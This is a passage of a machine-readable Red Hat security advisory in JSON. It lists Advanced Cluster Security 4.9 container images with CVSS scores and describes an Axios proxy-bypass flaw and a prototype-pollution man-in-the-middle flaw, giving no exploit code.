"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization"
},
{
"cve": "CVE-2026-44494",
"cwe": {
"id": "CWE-915",
"name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
},
"discovery_date": "2026-06-11T17:01:12.945664+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2487942"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Axios. This vulnerability, a Prototype Pollution \"Gadget\" attack, allows an attacker to escalate any existing Object.prototype pollution in an application\u0027s dependency tree into a full Man-in-the-Middle (MITM) attack. This enables the attacker to intercept, read, and modify all HTTP traffic, including sensitive authentication credentials. The flaw occurs because the `config.proxy` setting is susceptible to prototype pollution, allowing an attacker to inject a malicious proxy server.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in the Axios library allows an attacker to escalate existing prototype pollution vulnerabilities within an application\u0027s dependency tree into a full Man-in-the-Middle (MITM) attack. By injecting a malicious proxy configuration into the `Object.prototype`, an attacker can intercept, read, and modify all HTTP traffic, including sensitive authentication credentials, without direct user interaction. This poses a significant risk to data confidentiality and integrity in Red Hat products that utilize the Axios library.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
